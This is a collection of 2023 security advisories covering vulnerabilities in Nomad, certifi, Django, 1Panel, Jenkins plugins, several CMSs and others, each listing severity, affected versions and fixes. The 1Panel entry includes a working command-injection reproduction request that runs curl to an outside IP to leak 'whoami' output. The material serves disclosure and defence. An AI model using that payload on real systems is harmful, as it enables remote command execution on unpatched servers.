A vulnerability was identified in Nomad and Nomad Enterprise (“Nomad”) such that a deny ACL capability could not be applied to a workload’s own variables. If included, the Nomad ACL system will silently fail to block access. This vulnerability, CVE-2023-1296, was fixed in Nomad 1.4.6 and 1.5.1.
Removal of e-Tugra root certificate (GHSA-xqr8-7jwr-rhp7)
Aliases: CVE-2023-37920
Published: 2023-07-25T14:43:53Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'certifi'}, 'ecosystem_specific': {'affected_functions': ['']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2015.4.28'}, {'fixed': '2023.7.22'}]}]}]

Certifi 2023.07.22 removes root certificates from "e-Tugra" from the root store. These are in the process of being removed from Mozilla's trust store.

 e-Tugra's root certificates are being removed pursuant to an investigation prompted by reporting of security issues in their systems. Conclusions of Mozilla's investigation can be found [here](https://groups.google.com/a/mozilla.org/g/dev-security-policy/c/C-HrP1SEq1A).
ImpressCMS Cross-site Scripting vulnerability (GHSA-667r-p4gg-7m2q)
Aliases: CVE-2023-37785
Published: 2023-07-13T18:30:35Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'impresscms/impresscms'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '1.4.5'}]}]}]

A cross-site scripting (XSS) vulnerability in ImpressCMS v1.4.5 and before allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the `smile_code` parameter of the component `/editprofile.php`.
HashiCorp Boundary Workers Store Rotated Credentials in Plaintext Even When Key Management Service Configured (GHSA-9vrm-v9xv-x3xr)
Aliases: CVE-2023-0690
Published: 2023-07-06T19:24:09Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/hashicorp/boundary'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0.10.0'}, {'fixed': '0.12.0'}]}]}]

HashiCorp Boundary from 0.10.0 through 0.11.2 contain an issue where when using a PKI-based worker with a Key Management Service (KMS) defined in the configuration file, new credentials created after an automatic rotation may not have been encrypted via the intended KMS. This would result in the credentials being stored in plaintext on the Boundary PKI worker’s disk. This issue is fixed in version 0.12.0.
webmention.js Cross-site Scripting vulnerability (GHSA-r54g-4qq6-chxg)
Aliases: CVE-2023-3672
Published: 2023-07-14T12:30:20Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Affected: [{'package': {'ecosystem': 'npm', 'name': 'webmention.js'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.5.5'}]}]}]

webmention.js prior to 0.5.5 is vulnerable to cross-site scripting.
Pimcore Cross-site Scripting vulnerability (GHSA-78q2-cv3p-x9fm)
Aliases: CVE-2023-3821
Published: 2023-07-21T15:30:32Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:U/C:N/I:H/A:H
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'pimcore/pimcore'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '10.6.4'}]}]}]

Cross-site Scripting (XSS) - Stored in GitHub repository pimcore/pimcore prior to 10.6.4.
Cockpit CMS vulnerable to incorrect access control (GHSA-9r25-4j77-9wc7)
Aliases: CVE-2023-37649
Published: 2023-07-20T21:30:59Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'cockpit-hq/cockpit'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.6.0'}]}]}]

Incorrect access control in the component `/models/Content` of Cockpit CMS v2.5.2 allows unauthorized attackers to access sensitive data.
Code injection in oscore (GHSA-859m-2pfx-fwhf)
Aliases: CVE-2023-39022
Published: 2023-07-28T15:30:23Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'opensymphony:oscore'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '2.2.6'}]}]}]

oscore v2.2.6 and below was discovered to contain a code injection vulnerability in the component com.opensymphony.util.EJBUtils.createStateless. This vulnerability is exploited via passing an unchecked argument.
1Panel vulnerable to command injection when entering the container terminal (GHSA-7x2c-fgx6-xf9h)
Aliases: CVE-2023-36458
Published: 2023-07-05T21:38:53Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:L
Affected: [{'package': {'ecosystem': 'Go', 'name': 'github.com/1Panel-dev/1Panel'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.3.6'}]}]}]

### Impact

The authenticated attacker can craft a malicious payloads to achieve command injection when entering the container terminal.

1. Vulnerability analysis.

```
backend\app\api\v1\terminal.go#ContainerWsSsh
```
![image](https://user-images.githubusercontent.com/46734380/249119420-045ec192-250d-4d07-a69e-0bd794cddec7.png)

2. vulnerability reproduction.

```
GET /api/v1/containers/exec?cols=80&rows=24&containerid=/bin/bash||curl%20http://192.168.109.1:12345/`whoami`||&user=asd&command=/bin/bash HTTP/1.1
Host: 192.168.109.152:40982
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Sec-WebSocket-Version: 13
Origin: http://192.168.109.152:40982
Sec-WebSocket-Key: cOEWTRgkjxVppuhzAfOUWQ==
Connection: keep-alive, Upgrade
Cookie: rem-username=admin; psession=a6bcab14-d426-4cfe-8635-533e88b6f75e
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
```

3. The successful execution of system commands.
![image](https://user-images.githubusercontent.com/46734380/249119520-ed2dcc32-be4a-45d8-9286-f9fb778e87da.png)

Affected versions: <= 1.3.5

### Patches

The vulnerability has been fixed in v1.3.6.

### Workarounds

It is recommended to upgrade the version to v1.3.6.

### References

If you have any questions or comments about this advisory:

Open an issue in https://github.com/1Panel-dev/1Panel
Email us at wanghe@fit2cloud.com
Apache Zeppelin Improper Input Validation vulnerability (GHSA-gm67-h5wr-w3cv)
Aliases: CVE-2021-28655
Published: 2023-07-06T19:24:05Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'org.apache.zeppelin:zeppelin'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.10.0'}]}]}]

The improper Input Validation vulnerability in `Move folder to Trash` feature of Apache Zeppelin allows an attacker to delete the arbitrary files. This issue affects Apache Zeppelin Apache Zeppelin version 0.9.0 and prior versions.
Django has regular expression denial of service vulnerability in EmailValidator/URLValidator (GHSA-jh3w-4vvf-mjgr)
Aliases: CVE-2023-36053
Published: 2023-07-03T15:30:45Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected: [{'package': {'ecosystem': 'PyPI', 'name': 'Django'}, 'ecosystem_specific': {'affected_functions': ['django.core.validators.URLValidator', 'django.core.validators.EmailValidator']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '3.2.0'}, {'fixed': '3.2.20'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'Django'}, 'ecosystem_specific': {'affected_functions': ['django.core.validators.URLValidator', 'django.core.validators.EmailValidator']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '4.0.0'}, {'fixed': '4.1.10'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'Django'}, 'ecosystem_specific': {'affected_functions': ['django.core.validators.URLValidator', 'django.core.validators.EmailValidator']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '4.2.0'}, {'fixed': '4.2.3'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'django'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '4.2'}, {'fixed': '4.2.3'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'django'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '4.0'}, {'fixed': '4.1.10'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'django'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '3.2'}, {'fixed': '3.2.20'}]}]}]

In Django 3.2 before 3.2.20, 4 before 4.1.10, and 4.2 before 4.2.3, `EmailValidator` and `URLValidator` are subject to a potential ReDoS (regular expression denial of service) attack via a very large number of domain name labels of emails and URLs.
Stored Cross-Site Scripting October CMS (GHSA-r47v-rxcg-p28j)
Aliases: CVE-2023-37692
Published: 2023-07-26T21:30:19Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'october/october'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '3.4.4'}]}]}]

An svg file upload vulnerability in October CMS v3.4.4 allows attackers to execute arbitrary code in the context of a browser via a crafted svg file. Attackers must be authenticated as users.
Jenkins SAML Single Sign On(SSO) Plugin missing permission check (GHSA-p4wr-9wfm-f9jw)
Aliases: CVE-2023-37945
Published: 2023-07-12T18:30:38Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'io.jenkins.plugins:miniorange-saml-sp'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.3.1'}]}]}]

Jenkins SAML Single Sign On(SSO) Plugin 2.3.0 and earlier does not perform a permission check in an HTTP endpoint.

This allows attackers with Overall/Read permission to download a string representation of the current security realm (Java `Object#toString()`), which potentially includes sensitive information.

SAML Single Sign On(SSO) Plugin 2.3.1 requires Overall/Administer permission to access the affected HTTP endpoint, and only allows downloading a string representation if the current security realm is this plugin’s.
is_js vulnerable to Regular Expression Denial of Service (GHSA-pvrw-g6fx-mcx2)
Aliases: CVE-2020-26302
Published: 2023-07-06T19:24:05Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Affected: [{'package': {'ecosystem': 'npm', 'name': 'is_js'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '0.9.0'}]}]}]

is.js is a general-purpose check library. Versions 0.9.0 and prior contain one or more regular expressions that are vulnerable to Regular Expression Denial of Service (ReDoS). is.js uses a regex copy-pasted from a gist to validate URLs. Trying to validate a malicious string can cause the regex to loop "forever." This vulnerability was found using a CodeQL query which identifies inefficient regular expressions. is.js has no patch for this issue.
Froxlor vulnerable to Improper Encoding or Escaping of Output (GHSA-c6v5-pf66-xfq8)
Aliases: CVE-2023-3668
Published: 2023-07-14T03:32:33Z
Severity: type: CVSS_V3
score: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'froxlor/froxlor'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '2.0.21'}]}]}]

Improper Encoding or Escaping of Output in GitHub repository froxlor/froxlor prior to 2.0.21.
tough-cookie Prototype Pollution vulnerability (GHSA-72xf-g2v4-qvf3)
Aliases: CVE-2023-26136
Published: 2023-07-01T06:30:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
Affected: [{'package': {'ecosystem': 'npm', 'name': 'tough-cookie'}, 'ecosystem_specific': {'affected_functions': ['tough-cookie.CookieJar.setCookieSync']}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '4.1.3'}]}]}]

Versions of the package tough-cookie before 4.1.3 are vulnerable to Prototype Pollution due to improper handling of Cookies when using CookieJar in `rejectPublicSuffixes=false` mode. This issue arises from the manner in which the objects are initialized.
gRPC connection termination issue (GHSA-9hxf-ppjv-w6rq)
Aliases: CVE-2023-32732
Published: 2023-07-06T21:15:08Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'io.grpc:grpc-protobuf'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.53.0'}]}]}, {'package': {'ecosystem': 'PyPI', 'name': 'grpcio'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.53.0'}]}]}, {'package': {'ecosystem': 'RubyGems', 'name': 'grpc'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.53.0'}]}]}]

gRPC contains a vulnerability whereby a client can cause a termination of connection between a HTTP2 proxy and a gRPC server: a base64 encoding error for `-bin` suffixed headers will result in a disconnection by the gRPC server, but is typically allowed by HTTP2 proxies. We recommend upgrading beyond the commit in https://github.com/grpc/grpc/pull/32309.
matrix-react-sdk vulnerable to XSS in Export Chat feature (GHSA-c9vx-2g7w-rp65)
Aliases: CVE-2023-37259
Published: 2023-07-18T16:58:01Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:A/AC:L/PR:L/UI:R/S:C/C:H/I:N/A:N
Affected: [{'package': {'ecosystem': 'npm', 'name': 'matrix-react-sdk'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '3.32.0'}, {'fixed': '3.76.0'}]}]}]

### Description

The Export Chat feature includes certain attacker-controlled elements in the generated document without sufficient escaping, leading to stored XSS.

### Impact

Since the Export Chat feature generates a separate document, an attacker can only inject code run from the `null` origin, restricting the impact.

However, the attacker can still potentially use the XSS to leak message contents. A malicious homeserver is a potential attacker since the affected inputs are controllable server-side.

### Patches
This was patched in matrix-react-sdk 3.76.0.

### Workarounds
None, other than not using the Export Chat feature.

### References
N/A
Connect-CMS Privilege Escalation Vulnerability (GHSA-qxh3-jgvh-x55j)
Published: 2023-07-05T22:40:22Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:N/A:N
Affected: [{'package': {'ecosystem': 'Packagist', 'name': 'opensource-workshop/connect-cms'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '1.7.2'}]}]}, {'package': {'ecosystem': 'Packagist', 'name': 'opensource-workshop/connect-cms'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '2.0.0'}, {'fixed': '2.3.2'}]}]}]

### Impact

There is a Privilege Escalation Vulnerability on the management system of Connect-CMS.
Affercted Version : Connect-CMS 1.7.1, 2.3.1 and earlier

### Patches

version 1.7.2, 2.3.2

### Workarounds

Upgrade Connect-CMS to latest version
Code injection in Duke (GHSA-p83q-99rc-vfmv)
Aliases: CVE-2023-39013
Published: 2023-07-28T15:30:23Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'no.priv.garshol.duke:duke'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '1.2'}]}]}]

Duke v1.2 and below was discovered to contain a code injection vulnerability via the component no.priv.garshol.duke.server.CommonJTimer.init.
Jenkins mabl Plugin vulnerable to exposure of system-scooped credentials (GHSA-4c3q-r84r-q6pp)
Aliases: CVE-2023-37951
Published: 2023-07-12T18:30:38Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
Affected: [{'package': {'ecosystem': 'Maven', 'name': 'com.mabl.integration.jenkins:mabl-integration'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'fixed': '0.0.47'}]}]}]

Jenkins mabl Plugin 0.0.46 and earlier does not set the appropriate context for credentials lookup, allowing the use of System-scoped credentials otherwise reserved for the global configuration.

This allows attackers with Item/Configure permission to access and capture credentials they are not entitled to.

mabl Plugin 0.0.47 defines the appropriate context for credentials lookup.
CleverTap Cordova plugin vulnerable to Cross-site Scripting (GHSA-x2ph-qqwm-9cc6)
Aliases: CVE-2023-2507
Published: 2023-07-15T21:30:16Z
Severity: type: CVSS_V3
score: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:N
Affected: [{'package': {'ecosystem': 'npm', 'name': 'clevertap-cordova'}, 'ranges': [{'type': 'ECOSYSTEM', 'events': [{'introduced': '0'}, {'last_affected': '2.6.2'}]}]}]

CleverTap Cordova Plugin version 2.6.2 allows a remote attacker to execute JavaScript code in any application that is opened via a specially constructed deeplink by an attacker.

This is possible because the plugin does not correctly validate the data coming from the deeplinks before using them.